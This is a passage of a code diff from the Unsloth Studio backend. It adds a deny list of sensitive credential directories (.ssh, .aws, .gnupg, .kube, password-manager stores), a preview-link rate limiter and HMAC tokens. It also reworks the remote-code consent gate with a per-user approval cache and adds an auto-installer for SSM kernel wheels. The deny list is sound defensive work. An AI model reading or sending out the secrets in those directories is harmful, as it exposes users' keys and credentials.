+ seen.add(key) + roots.append(resolved) + return roots diff --git a/studio/backend/utils/paths/sensitive.py b/studio/backend/utils/paths/sensitive.py new file mode 100644 index 0000000000..7d32a5f4cf --- /dev/null +++ b/studio/backend/utils/paths/sensitive.py @@ -0,0 +1,46 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Shared sensitive path-component policy.""" + +from __future__ import annotations + +import os + + +SENSITIVE_PATH_COMPONENTS = { + ".aws", + ".azure", + ".config", + ".docker", + ".gcloud", + ".gnupg", + ".huggingface", + ".kaggle", + ".kube", + ".modelscope", + ".ngc", + ".local", + ".mozilla", + ".pki", + ".thunderbird", + ".ssh", + ".1password", + ".bitwarden", + ".password-store", + "1password", + "bitwarden", + "keychains", + "keyrings", + "mozilla", + "thunderbird", +} + + +def is_sensitive_path_component(name: str) -> bool: + return name.lower() in SENSITIVE_PATH_COMPONENTS + + +def contains_sensitive_path_component(path: str) -> bool: + parts = os.path.normpath(path).split(os.sep) + return any(is_sensitive_path_component(part) for part in parts) diff --git a/studio/backend/utils/paths/storage_roots.py b/studio/backend/utils/paths/storage_roots.py index c718f38ffb..759681da3f 100644 --- a/studio/backend/utils/paths/storage_roots.py +++ b/studio/backend/utils/paths/storage_roots.py @@ -274,22 +274,37 @@ def _setup_cache_env() -> None: Respects the standard HF cache chain (explicit HF_HOME / HF_HUB_CACHE, then XDG_CACHE_HOME, then ~/.cache/huggingface) and only sets vars the - user hasn't, so explicit overrides are honored. + user hasn't, so explicit overrides are honored. A user-set HF_HOME also + seeds HF_HUB_CACHE / HF_XET_CACHE (HF defaults them to $HF_HOME/hub and + $HF_HOME/xet); without this, models download to and load from the standard + cache even when HF_HOME points elsewhere, and both the Xet and HTTP-fallback + download paths inherit the same wrong root. """ root = cache_root() xdg_cache = Path(os.environ.get("XDG_CACHE_HOME", Path.home() / ".cache")).expanduser() - hf_default = xdg_cache / "huggingface" + # HUGGINGFACE_HUB_CACHE is HF's legacy alias for HF_HUB_CACHE; honor it. + if "HF_HUB_CACHE" not in os.environ and os.environ.get("HUGGINGFACE_HUB_CACHE"): + os.environ["HF_HUB_CACHE"] = os.environ["HUGGINGFACE_HUB_CACHE"] + # Seed the hub/xet caches from HF_HOME when set, else the platform default. + # Strip so a blank/whitespace HF_HOME falls back instead of making " /hub". + hf_home = (os.environ.get("HF_HOME") or "").strip() + hf_base = Path(hf_home).expanduser() if hf_home else xdg_cache / "huggingface" defaults: dict[str, str] = { - "HF_HOME": str(hf_default), - "HF_HUB_CACHE": str(hf_default / "hub"), - "HF_XET_CACHE": str(hf_default / "xet"), + "HF_HOME": str(hf_base), + "HF_HUB_CACHE": str(hf_base / "hub"), + "HF_XET_CACHE": str(hf_base / "xet"), "UV_CACHE_DIR": str(root / "uv"), "VLLM_CACHE_ROOT": str(root / "vllm"), } for key, value in defaults.items(): if key not in os.environ: os.environ[key] = value - Path(value).mkdir(parents = True, exist_ok = True) + # Best-effort: a non-writable custom HF_HOME must not crash startup; + # HF surfaces a clear error at download time instead. + try: + Path(value).mkdir(parents = True, exist_ok = True) + except OSError: + pass def ensure_studio_directories() -> None: diff --git a/studio/backend/utils/personalization_settings.py b/studio/backend/utils/personalization_settings.py new file mode 100644 index 0000000000..3efbf16623 --- /dev/null +++ b/studio/backend/utils/personalization_settings.py @@ -0,0 +1,20 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +from __future__ import annotations + +PERSONALIZATION_SETTING_KEY = "personalization" +PERSONALIZATION_VERSION = 1 +MAX_AVATAR_DATA_URL_BYTES = 512 * 1024 + + +def get_personalization() -> dict: + from storage.studio_db import get_app_setting + stored = get_app_setting(PERSONALIZATION_SETTING_KEY, None) + return stored if isinstance(stored, dict) else {} + + +def set_personalization(data: dict) -> dict: + from storage.studio_db import upsert_app_settings + upsert_app_settings({PERSONALIZATION_SETTING_KEY: data}) + return data diff --git a/studio/backend/utils/preview_rate_limit.py b/studio/backend/utils/preview_rate_limit.py new file mode 100644 index 0000000000..dd38cfd5e7 --- /dev/null +++ b/studio/backend/utils/preview_rate_limit.py @@ -0,0 +1,67 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Coarse per-IP sliding-window rate limit for the public ``/p`` preview chat. + +A signed link stops ref guessing, but anyone with a link can still drive GPU +generation. This bounds sustained abuse from a single source. In-process and +single-worker only (like the login limiter in ``routes/auth.py``); Studio runs as +one uvicorn process, so a shared store isn't needed. +""" + +from __future__ import annotations + +import threading +import time +from collections import deque + +# Window / ceiling for preview chat-completions per client IP. +_WINDOW_SECONDS = 60.0 +_MAX_REQUESTS = 20 +# Bound memory on a public surface (many distinct IPs). +_MAX_BUCKETS = 4096 + +_buckets: dict[str, deque] = {} +_lock = threading.Lock() + + +def _prune(bucket: deque, now: float) -> None: + while bucket and now - bucket[0] > _WINDOW_SECONDS: + bucket.popleft() + + +def _evict_aged(now: float) -> None: + """Drop only buckets that have fully aged out. Never evict an active bucket: + evicting a throttled key would reset its counter, so a flood of distinct keys + could cycle the table and clear a victim's (or its own) limit.""" + for key in list(_buckets.keys()): + _prune(_buckets[key], now) + if not _buckets[key]: + del _buckets[key] + + +def check_rate_limit(key: str) -> int: + """Record a hit for ``key``; return seconds-to-wait if over the limit, else 0.""" + now = time.monotonic() + with _lock: + bucket = _buckets.get(key) + if bucket is None: + if len(_buckets) >= _MAX_BUCKETS: + _evict_aged(now) + if len(_buckets) >= _MAX_BUCKETS: + # Table is full of currently-active clients. Fail closed: deny the + # new key rather than evict a live bucket (which would hand out a + # rate-limit reset). Pathological only (>= _MAX_BUCKETS live IPs). + return max(1, int(_WINDOW_SECONDS)) + bucket = _buckets[key] = deque() + _prune(bucket, now) + if len(bucket) >= _MAX_REQUESTS: + return max(1, int(_WINDOW_SECONDS - (now - bucket[0])) + 1) + bucket.append(now) + return 0 + + +def reset() -> None: + """Clear all buckets (test isolation).""" + with _lock: + _buckets.clear() diff --git a/studio/backend/utils/preview_sharing_settings.py b/studio/backend/utils/preview_sharing_settings.py new file mode 100644 index 0000000000..047c4be3b4 --- /dev/null +++ b/studio/backend/utils/preview_sharing_settings.py @@ -0,0 +1,55 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persisted kill switch for public ``/p`` preview link sharing.""" + +from __future__ import annotations + +from typing import Any + +PREVIEW_SHARING_SETTING_KEY = "preview_public_sharing_enabled" +# Default on: signed share links work out of the box (current behavior). An admin +# can flip this off to take the public ``/p`` surface offline entirely - links +# then 404 even with a valid token, leaving preview to the authenticated app. +DEFAULT_PREVIEW_SHARING_ENABLED = True + + +def _coerce_bool(value: Any) -> bool | None: + if isinstance(value, bool): + return value + if isinstance(value, str): + normalized = value.strip().lower() + if normalized in {"1", "true", "yes", "on"}: + return True + if normalized in {"0", "false", "no", "off", ""}: + return False + return None + + +def get_preview_sharing_enabled() -> bool: + """Read the persisted public-preview-sharing preference. + + A *missing* setting defaults to enabled so the feature keeps working as + before unless an admin explicitly turns it off. A *read failure* (e.g. a + transient SQLite/permission error) fails closed -- this is a kill switch, so + an unreadable settings DB must not silently reopen the public surface. + """ + try: + from storage.studio_db import get_app_setting + stored = get_app_setting(PREVIEW_SHARING_SETTING_KEY, None) + except Exception: + return False + parsed = _coerce_bool(stored) + return parsed if parsed is not None else DEFAULT_PREVIEW_SHARING_ENABLED + + +def set_preview_sharing_enabled(value: Any) -> bool: + """Persist whether public ``/p`` preview links are accepted.""" + parsed = _coerce_bool(value) + if parsed is None: + raise ValueError("Public preview sharing must be true or false.") + + from storage.studio_db import upsert_app_settings + + upsert_app_settings({PREVIEW_SHARING_SETTING_KEY: parsed}) + return parsed diff --git a/studio/backend/utils/preview_token.py b/studio/backend/utils/preview_token.py new file mode 100644 index 0000000000..fd5b646dc9 --- /dev/null +++ b/studio/backend/utils/preview_token.py @@ -0,0 +1,52 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""HMAC capability tokens for public ``/p`` preview share links. + +The preview ref (``run`` or ``run/checkpoint``) is a deterministic, guessable +outputs-root path, so it can't gate access on its own. We sign the canonical ref +with a dedicated server-side secret and require the resulting token on every +public preview request: guessing a ref no longer grants access, and rotating the +secret (``auth.storage.rotate_preview_link_secret``) revokes every link at once. +""" + +from __future__ import annotations + +import base64 +import hashlib +import hmac +from typing import Optional + +from auth.storage import get_or_create_preview_link_secret + +# Versioned so the token format can evolve without silently honoring old shapes. +_PREVIEW_TOKEN_VERSION = "v1" + + +def _canonical_payload(ref: str) -> bytes: + # Sign the canonical ref only (never host/path) so links stay portable across + # localhost / LAN IP / tunnel host changes. + return f"preview:{_PREVIEW_TOKEN_VERSION}:{ref}".encode("utf-8") + + +def sign_preview_ref(ref: str) -> str: + """Return the URL-safe HMAC capability token for a canonical preview ref.""" + mac = hmac.new( + get_or_create_preview_link_secret(), + _canonical_payload(ref), + hashlib.sha256, + ).digest() + return base64.urlsafe_b64encode(mac).rstrip(b"=").decode("ascii") + + +def verify_preview_ref(ref: str, token: Optional[str]) -> bool: + """Constant-time check that ``token`` is a valid capability for ``ref``.""" + if not token: + return False + # Compare as bytes: a non-ASCII token (e.g. a %-encoded query value) would make + # hmac.compare_digest on two str raise TypeError -> treat it as simply invalid. + try: + provided = token.encode("ascii") + except UnicodeEncodeError: + return False + return hmac.compare_digest(sign_preview_ref(ref).encode("ascii"), provided) diff --git a/studio/backend/utils/security/__init__.py b/studio/backend/utils/security/__init__.py index b794b1835e..3bcfaebe2f 100644 --- a/studio/backend/utils/security/__init__.py +++ b/studio/backend/utils/security/__init__.py @@ -65,6 +65,7 @@ def preflight_remote_code_consent( trust_remote_code: bool = True, approved_fingerprint = None, trusted_org = None, + subject = None, ) -> "RemoteCodeDecision": """Scan a model's ``auto_map`` for the consent dialog. Thin wrapper over ``evaluate_remote_code_consent`` defaulting ``trust_remote_code=True`` so the scan @@ -77,6 +78,7 @@ def preflight_remote_code_consent( trust_remote_code = trust_remote_code, approved_fingerprint = approved_fingerprint, trusted_org = trusted_org, + subject = subject, ) @@ -86,6 +88,7 @@ def preflight_remote_code_consent_for_targets( *, trust_remote_code: bool = True, approved_fingerprint = None, + subject = None, ) -> "RemoteCodeDecision": """Preflight consent over multiple repos (a LoRA adapter plus its base) scanned as one combined unit with a single pinning fingerprint. Wrapper defaulting @@ -96,6 +99,7 @@ def preflight_remote_code_consent_for_targets( hf_token, trust_remote_code = trust_remote_code, approved_fingerprint = approved_fingerprint, + subject = subject, ) diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.py index d75da37971..b36131f809 100644 --- a/studio/backend/utils/security/consent.py +++ b/studio/backend/utils/security/consent.py @@ -85,8 +85,13 @@ def _config_has_auto_map(model_name: str, hf_token: Optional[str] = None) -> Opt """Whether any config (model/tokenizer/processor) declares an ``auto_map`` the load would execute. Reads raw JSON with ``hf_token``; returns None when a config is unreadable (transient/auth) so the caller treats it as "unknown" and scans, False - when the repo genuinely ships none. GGUF is False (llama.cpp never runs auto_map); - this is the single chokepoint for that rule, shared by validate / scan / worker. + when the repo genuinely ships none. + + GGUF-inertness is the LOADER's property, decided upstream by the caller's ``is_gguf`` + check, not here. Every path that reaches this helper (export, training, non-GGUF + inference) loads via ``from_pretrained``, which imports ``auto_map`` even for a + ``.gguf``-only repo, so a GGUF-classified repo id MUST still be scanned. Only a direct + ``.gguf`` FILE reference is inert (a genuine single-file llama.cpp load). """ # A direct .gguf FILE loads via llama.cpp (auto_map inert). A bare repo id ending in # .gguf can still ship safetensors + auto_map, so it falls through to the scan. @@ -97,11 +102,6 @@ def _config_has_auto_map(model_name: str, hf_token: Optional[str] = None) -> Opt return None if not any(bool((cfg or {}).get("auto_map")) for cfg in configs): return False - # auto_map present but a GGUF repo -> inert. Checked only when auto_map exists, so - # normal models skip the extra listing. - if _is_gguf_repo(model_name, hf_token): - logger.debug("Ignoring auto_map for GGUF repo '%s' (llama.cpp never runs it).", model_name) - return False return True @@ -124,42 +124,6 @@ def _is_direct_gguf_file_ref(model_name: str) -> bool: return name.count("/") >= 2 -# Weight formats transformers can load (and thus run auto_map for). A repo shipping any -# of these is not GGUF-only -- the user could load it through transformers -- so consent -# still applies even if it also ships a .gguf. -_TRANSFORMERS_WEIGHT_SUFFIXES = ( - ".safetensors", - ".bin", - ".pt", - ".pth", - ".h5", - ".msgpack", - ".onnx", - ".ckpt", -) - - -def _is_gguf_repo(model_name: str, hf_token: Optional[str] = None) -> bool: - """Whether a remote repo loads only through llama.cpp (GGUF weights and NO - transformers-loadable weights), making its config inert. A repo that also ships - transformers weights is NOT GGUF (auto_map could run, so still gate). A listing - failure is treated as "not known-GGUF" (fall through to scan). - """ - try: - from utils.paths import is_local_path - - if is_local_path(model_name): - return False - from huggingface_hub import list_repo_files - - files = [f.lower() for f in list_repo_files(model_name, token = hf_token)] - has_gguf = any(f.endswith(".gguf") for f in files) - has_transformers_weights = any(f.endswith(_TRANSFORMERS_WEIGHT_SUFFIXES) for f in files) - return has_gguf and not has_transformers_weights - except Exception: - return False - - def _load_remote_code_configs(model_name: str, hf_token: Optional[str] = None) -> Optional[list]: """Read every config that can declare ``auto_map`` (model/tokenizer/processor) as raw dicts. Returns the configs present (``[]`` when all 404, a definitive "no @@ -210,6 +174,7 @@ def evaluate_remote_code_consent( trust_remote_code: bool, approved_fingerprint: Optional[str] = None, trusted_org: Optional[bool] = None, + subject: Optional[str] = None, ) -> RemoteCodeDecision: """Single-repo consent; thin wrapper over the for_targets form. ``trusted_org`` is accepted for backward compatibility but no longer changes the decision. @@ -219,6 +184,7 @@ def evaluate_remote_code_consent( hf_token, trust_remote_code = trust_remote_code, approved_fingerprint = approved_fingerprint, + subject = subject, ) @@ -243,6 +209,7 @@ def evaluate_remote_code_consent_for_targets( *, trust_remote_code: bool, approved_fingerprint: Optional[str] = None, + subject: Optional[str] = None, ) -> RemoteCodeDecision: """Decide whether a ``trust_remote_code=True`` load may proceed, over every repo whose code the load would execute. A LoRA load runs adapter AND base code, so all targets @@ -250,6 +217,11 @@ def evaluate_remote_code_consent_for_targets( -- one approval covers every repo, and a base-only fingerprint can't leave an adapter's own ``auto_map`` unreviewed. On ``blocked``, the caller surfaces ``response_payload()`` and retries with ``approved_fingerprint`` if the user accepts. + + When ``subject`` is given, a prior approval by that user can skip the DIALOG (never the + scan): the stored fingerprint seeds the authoritative content check below, so an + unchanged repo auto-approves while any change re-prompts. A genuine approval is + recorded for next time. """ targets = [t for t in dict.fromkeys(targets) if t] primary = targets[0] if targets else "" @@ -259,6 +231,22 @@ def evaluate_remote_code_consent_for_targets( primary, False, False, None, None, "", "trust_remote_code disabled" ) + # Persistent per-user approval: seed the stored fingerprint so the authoritative scan + # below auto-approves an unchanged repo (skips only the prompt, never the scan). Gated so + # it cannot weaken the scan: the approval must match the current scanner ruleset, and a + # resolvable commit SHA must match the approved revision (a moved repo re-prompts; a None + # SHA relies on the fingerprint). The fingerprint and the CRITICAL block still apply. + caller_approved_fingerprint = approved_fingerprint + if subject: + from utils.security import remote_code_approvals + + _ak = remote_code_approvals.approval_target_key(targets) + _stored = remote_code_approvals.lookup(subject, _ak) + if _stored is not None and _stored.scanner_version == remote_code_approvals.SCANNER_VERSION: + _sha = remote_code_approvals.resolve_combined_sha(targets, hf_token) + if _sha is None or _sha == _stored.commit_sha: + approved_fingerprint = approved_fingerprint or _stored.fingerprint + # Gather executable .py from every target that ships auto_map. A definitively # auto_map-free target contributes nothing; an unreadable config is scanned anyway. # If ANY target's code is present but unscannable, fail the whole load closed. @@ -300,8 +288,7 @@ def evaluate_remote_code_consent_for_targets( ) if not combined: - # auto_map declared but no executable .py (e.g. a GGUF repo's vestigial - # auto_map) -> nothing to run -> allow. + # auto_map declared but no executable .py (e.g. GGUF repo) -> nothing to scan -> allow. return RemoteCodeDecision( primary, False, @@ -345,6 +332,20 @@ def evaluate_remote_code_consent_for_targets( fingerprint[:12], ) + # Persist a genuine user approval (caller supplied the matching fingerprint, not a cache + # seed) under the current scanner version, so the unchanged repo is not re-prompted until + # the code or the ruleset changes. + if approved and subject and caller_approved_fingerprint == fingerprint: + from utils.security import remote_code_approvals + remote_code_approvals.record( + subject, + remote_code_approvals.approval_target_key(targets), + commit_sha = remote_code_approvals.resolve_combined_sha(targets, hf_token), + fingerprint = fingerprint, + max_severity = sev, + scanner_version = remote_code_approvals.SCANNER_VERSION, + ) + return RemoteCodeDecision( primary, True, diff --git a/studio/backend/utils/security/remote_code_approvals.py b/studio/backend/utils/security/remote_code_approvals.py new file mode 100644 index 0000000000..ee38ddec6f --- /dev/null +++ b/studio/backend/utils/security/remote_code_approvals.py @@ -0,0 +1,247 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persistent, per-user trust_remote_code approval cache. + +Remembers a user's explicit approval so the consent gate can skip only the DIALOG on a +later load of the SAME unchanged code. The gate ALWAYS re-scans (the cache never skips the +scan), so CRITICAL is hard-blocked every time and a hand-edited store cannot auto-approve +malicious code. Keyed per subject; honored only when the content fingerprint matches AND +the scanner-rules version matches AND (when resolvable) the commit SHA matches. CRITICAL is +never stored or honored, and any store/SHA error degrades to "ask again", never auto-approve. +""" + +from __future__ import annotations + +import contextlib +import json +import os +import threading +from dataclasses import dataclass +from datetime import datetime, timezone +from typing import Optional + +from loggers import get_logger +from utils.paths import storage_roots +from utils.security.remote_code_scan import CRITICAL, SCAN_RULES_VERSION + +logger = get_logger(__name__) + +_SCHEMA_VERSION = 1 +_lock = threading.RLock() + +# Re-exported so the gate can compare a stored approval's ruleset to the live one. +SCANNER_VERSION = SCAN_RULES_VERSION + + +@dataclass +class StoredApproval: + commit_sha: Optional[str] + fingerprint: str + max_severity: Optional[str] + approved_at: str + scanner_version: int = 0 + + +def cache_disabled() -> bool: + return os.environ.get("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "").lower() in ("1", "true", "yes") + + +def _store_path(): + return storage_roots.studio_root() / "security" / "remote_code_approvals.json" + + +def _env_offline() -> bool: + return os.environ.get("HF_HUB_OFFLINE", "").lower() in ("1", "true", "yes") or os.environ.get( + "TRANSFORMERS_OFFLINE", "" + ).lower() in ("1", "true", "yes") + + +def approval_target_key(targets) -> str: + """Stable key for the combined load unit (a LoRA pins adapter + base together), using + the same casing normalization as the fingerprint so identity never disagrees.""" + from utils.security.consent import _fingerprint_target_key + + keys = sorted(_fingerprint_target_key(t) for t in dict.fromkeys(targets) if t) + return "\x1f".join(keys) + + +def _load() -> dict: + """Parsed store, or an empty skeleton on any error (fail-safe = re-prompt).""" + try: + with open(_store_path()) as f: + data = json.load(f) + # Validate the shape, not just the version: a hand-edited ``subjects`` that is not a + # dict (e.g. ``[]``) would otherwise crash lookup/record instead of failing safe. + if ( + isinstance(data, dict) + and data.get("version") == _SCHEMA_VERSION + and isinstance(data.get("subjects"), dict) + ): + return data + except FileNotFoundError: + pass + except Exception as exc: + logger.warning("Could not read remote-code approvals (%s); ignoring", exc) + return {"version": _SCHEMA_VERSION, "subjects": {}} + + +def _save(data: dict) -> None: + """Atomic write (tmp + os.replace), best-effort 0600.""" + path = _store_path() + storage_roots.ensure_dir(path.parent) + tmp = path.parent / f".{path.name}.tmp-{os.getpid()}" + try: + with open(tmp, "w") as f: + json.dump(data, f, indent = 2) + try: + os.chmod(tmp, 0o600) + except OSError: + pass + os.replace(tmp, path) + except Exception as exc: + logger.warning("Could not write remote-code approvals (%s)", exc) + try: + tmp.unlink(missing_ok = True) + except OSError: + pass + + +@contextlib.contextmanager +def _file_lock(): + """Best-effort cross-process exclusive lock over the store. Inference/export/training + record approvals from separate subprocesses, so the in-process RLock is not enough: two + processes could each read the same JSON and clobber the other's entry on ``os.replace``. + Holding this around the read-modify-write serializes them. Degrades to a no-op if OS + locking is unavailable (the consequence is only an occasional extra prompt).""" + path = _store_path() + try: + storage_roots.ensure_dir(path.parent) + fd = os.open(str(path.parent / f"{path.name}.lock"), os.O_CREAT | os.O_RDWR, 0o600) + except Exception: + yield + return + try: + try: + if os.name == "nt": + import msvcrt + msvcrt.locking(fd, msvcrt.LK_LOCK, 1) + else: + import fcntl + fcntl.flock(fd, fcntl.LOCK_EX) + except Exception: + pass # locking unavailable; the thread lock still applies + yield + finally: + try: + if os.name == "nt": + import msvcrt + with contextlib.suppress(Exception): + msvcrt.locking(fd, msvcrt.LK_UNLCK, 1) + else: + import fcntl + fcntl.flock(fd, fcntl.LOCK_UN) + finally: + os.close(fd) + + +def lookup(subject: str, target_key: str) -> Optional[StoredApproval]: + """The stored approval for (subject, target_key), or None. A CRITICAL entry (e.g. a + hand-edited store) is refused so it can never seed an approval.""" + if not subject or cache_disabled(): + return None + with _lock: + subj = _load().get("subjects", {}).get(subject, {}) + entry = subj.get(target_key) if isinstance(subj, dict) else None + if not isinstance(entry, dict) or not entry.get("fingerprint"): + return None + if entry.get("max_severity") == CRITICAL: + return None + return StoredApproval( + commit_sha = entry.get("commit_sha"), + fingerprint = entry["fingerprint"], + max_severity = entry.get("max_severity"), + approved_at = entry.get("approved_at", ""), + scanner_version = entry.get("scanner_version", 0), + ) + + +def record( + subject: str, + target_key: str, + *, + commit_sha: Optional[str], + fingerprint: str, + max_severity: Optional[str], + scanner_version: int = SCANNER_VERSION, +) -> None: + """Persist a user's explicit approval. CRITICAL is never stored.""" + if not subject or not fingerprint or cache_disabled() or max_severity == CRITICAL: + return + with _lock, _file_lock(): + data = _load() + subjects = data.setdefault("subjects", {}) + subj = subjects.get(subject) + if not isinstance(subj, dict): # tolerate a hand-edited non-dict entry + subj = subjects[subject] = {} + subj[target_key] = { + "commit_sha": commit_sha, + "fingerprint": fingerprint, + "max_severity": max_severity, + "scanner_version": scanner_version, + "approved_at": datetime.now(timezone.utc).isoformat(), + } + _save(data) + + +def forget(subject: str, target_key: str) -> None: + """Drop an approval (e.g. the user declined / discarded the download).""" + if not subject: + return + with _lock, _file_lock(): + data = _load() + subj = data.get("subjects", {}).get(subject) + if isinstance(subj, dict) and subj.pop(target_key, None) is not None: + _save(data) + + +def clear() -> None: + """Test helper: drop the on-disk store.""" + with _lock: + try: + _store_path().unlink(missing_ok = True) + except OSError: + pass + + +def resolve_commit_sha(target: str, hf_token: Optional[str] = None) -> Optional[str]: + """Current HF commit SHA for *target*, or None (local path / offline / error). Resolved + fresh every call: the default branch is mutable, so a cached SHA could mask a moved repo + and reuse stale consent. None falls back to the authoritative fingerprint (never fail-open). + """ + from utils.paths import is_local_path + try: + if is_local_path(target) or _env_offline(): + return None + from huggingface_hub import HfApi + return HfApi().model_info(target, token = hf_token).sha + except Exception as exc: + logger.debug("Could not resolve commit sha for '%s': %s", target, exc) + return None + + +def resolve_combined_sha(targets, hf_token: Optional[str] = None) -> Optional[str]: + """Combined SHA over the primary targets; None if ANY is unresolvable. A cheap secondary + gate only -- the fingerprint (which also covers external auto_map repos) stays + authoritative, so a None here just falls back to the fingerprint, never weakens it.""" + from utils.security.consent import _fingerprint_target_key + + parts = [] + for target in dict.fromkeys(targets): + if not target: + continue + sha = resolve_commit_sha(target, hf_token) + if sha is None: + return None + parts.append(f"{_fingerprint_target_key(target)}={sha}") + return "\x1f".join(sorted(parts)) if parts else None diff --git a/studio/backend/utils/security/remote_code_scan.py b/studio/backend/utils/security/remote_code_scan.py index 18e45511d0..797e1056f8 100644 --- a/studio/backend/utils/security/remote_code_scan.py +++ b/studio/backend/utils/security/remote_code_scan.py @@ -37,6 +37,11 @@ HIGH = "HIGH" MEDIUM = "MEDIUM" _SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2} +# Bump on any ruleset change (patterns, severities). A persisted approval records the version +# it was scanned under; the consent cache ignores older-ruleset approvals so the same bytes +# are re-scanned and re-shown instead of silently auto-approved. +SCAN_RULES_VERSION = 1 + # Configs that can carry an ``auto_map`` pointing at executable repo ``.py``. # ``trust_remote_code`` runs code from ANY of these, so scanner and gate must read the # same set (scanning only config.json/tokenizer would miss a custom-processor VLM). diff --git a/studio/backend/utils/ssm_runtime.py b/studio/backend/utils/ssm_runtime.py new file mode 100644 index 0000000000..ca7e2309f9 --- /dev/null +++ b/studio/backend/utils/ssm_runtime.py @@ -0,0 +1,327 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Auto-install the SSM/Mamba kernels a hybrid model needs before it loads. + +Mamba/SSM hybrids (Nemotron-H/Nano, Falcon-H1, Granite-4.0-H, GraniteMoEHybrid, ...) +lazy-``import mamba_ssm`` / ``causal_conv1d`` in their ``modeling_*.py`` during +``from_pretrained``; absent, the load dies with "mamba-ssm is required ... cannot be +imported". The training worker installs them wheel-first before a fine-tune; this is the +shared, callback-based version the inference load path calls so chat behaves the same. +Detection/versions mirror the training worker (``tests/test_ssm_runtime.py`` guards drift). +""" + +from __future__ import annotations + +import importlib +import os +import platform +import shutil +import subprocess +import sys +import threading +from typing import Any, Callable, Optional + +from loggers import get_logger +from utils.wheel_utils import ( + direct_wheel_url, + install_wheel, + probe_torch_wheel_env, + url_exists, +) + +logger = get_logger(__name__) + +StatusCb = Optional[Callable[[str], None]] + +# Pinned wheels, kept in lockstep with core/training/worker.py by tests/test_ssm_runtime.py. +CAUSAL_CONV1D_PACKAGE_VERSION = "1.6.1" +CAUSAL_CONV1D_RELEASE_TAG = "v1.6.1.post4" +CAUSAL_CONV1D_RELEASE_BASE_URL = "https://github.com/Dao-AILab/causal-conv1d/releases/download" +MAMBA_SSM_PACKAGE_VERSION = "2.3.1" +MAMBA_SSM_RELEASE_TAG = "v2.3.1" +MAMBA_SSM_RELEASE_BASE_URL = "https://github.com/state-spaces/mamba/releases/download" + +# Lowercased-id substring matches, mirroring the training worker. mamba-ssm models are a +# subset of the causal-conv1d set. +SSM_MODEL_SUBSTRINGS = ( + "nemotron_h", + "nemotron-h", + "nemotron-3-nano", + "falcon_h1", + "falcon-h1", + "granite-4.0-h", + "granitemoehybrid", +) +CAUSAL_CONV1D_MODEL_SUBSTRINGS = ( + "qwen3.5", + "qwen3_5", + "qwen3.6", + "qwen3_6", + "qwen3-next", + "qwen3_next", + "nemotron_h", + "nemotron-h", + "nemotron-3-nano", + "falcon_h1", + "falcon-h1", + "granite-4.0-h", + "granitemoehybrid", + "lfm2", +) + + +def model_is_ssm(model_name: str) -> bool: + """Whether *model_name* is a Mamba/SSM hybrid that needs ``mamba_ssm``.""" + name = (model_name or "").lower() + return any(sub in name for sub in SSM_MODEL_SUBSTRINGS) + + +def model_wants_causal_conv1d(model_name: str) -> bool: + """Whether *model_name* needs ``causal_conv1d`` (the SSM set plus linear-attention + hybrids like Qwen3-Next / LFM2 whose modeling files lazy-import it).""" + name = (model_name or "").lower() + return any(sub in name for sub in CAUSAL_CONV1D_MODEL_SUBSTRINGS) + + +def ssm_probe_identifier(model_name: str, base: str | None = None) -> str: + """The identifier whose architecture decides the SSM kernels. + + The substring match needs a real model id: a LoRA adapter id or a local checkpoint's + parent folders are unrelated to its architecture (a Llama LoRA at ``user/falcon-h1-lora`` + is not SSM). Prefer *base*; for a bare local checkpoint use its basename. + """ + probe = base or model_name + if probe == model_name: + try: + from utils.paths import is_local_path + if is_local_path(model_name): + probe = os.path.basename((model_name or "").rstrip("/\\")) or model_name + except Exception: + pass + return probe + + +def _is_importable(import_name: str) -> bool: + # Invalidate finder caches so a kernel installed earlier in this process is seen. + importlib.invalidate_caches() + try: + __import__(import_name) + return True + except Exception as exc: + # An ABI-incompatible kernel (undefined symbol after a torch/CUDA upgrade) raises + # OSError/RuntimeError, not ImportError; treat any failure as "not importable" so the + # caller reinstalls/source-builds instead of hard-failing on a merely broken kernel. + logger.debug("%s is not importable (%s: %s)", import_name, type(exc).__name__, exc) + return False + + +def _emit(status_cb: StatusCb, message: str) -> None: + logger.info(message) + if status_cb is None: + return + try: + status_cb(message) + except Exception: # status is best-effort; never fail a load over a UI message + logger.debug("ssm_runtime status callback raised", exc_info = True) + + +def _hipcc_gcc_install_dir() -> Optional[str]: + """Highest gcc dir with both runtime and C++ headers, for ROCm clang's + ``--gcc-install-dir`` (Ubuntu 24.04 ships gcc-14 runtime without its headers).""" + if not sys.platform.startswith("linux") or platform.machine().lower() != "x86_64": + return None + for ver in (14, 13, 12, 11): + if os.path.isdir(f"/usr/lib/gcc/x86_64-linux-gnu/{ver}/include") and os.path.isdir( + f"/usr/include/c++/{ver}" + ): + return f"/usr/lib/gcc/x86_64-linux-gnu/{ver}" + return None + + +def _run_with_heartbeat(run, cmd, status_cb, display_name, **kwargs): + """Run *cmd* via *run*, emitting a status every 60s so the parent's inactivity + timeout isn't tripped by a long (e.g. ROCm) source build.""" + done = threading.Event() + + def _beat(): + while not done.wait(60): + _emit(status_cb, f"Still building {display_name} (this can take several minutes)...") + + threading.Thread(target = _beat, daemon = True).start() + try: + return run(cmd, **kwargs) + finally: + done.set() + + +def _install_kernel( + *, + import_name: str, + display_name: str, + pypi_name: str, + package_version: str, + release_tag: str, + release_base_url: str, + status_cb: StatusCb, + run: Callable[..., Any], +) -> bool: + """Install one kernel wheel-first, then a HIP-aware PyPI source build. Returns True iff + importable afterwards; idempotent 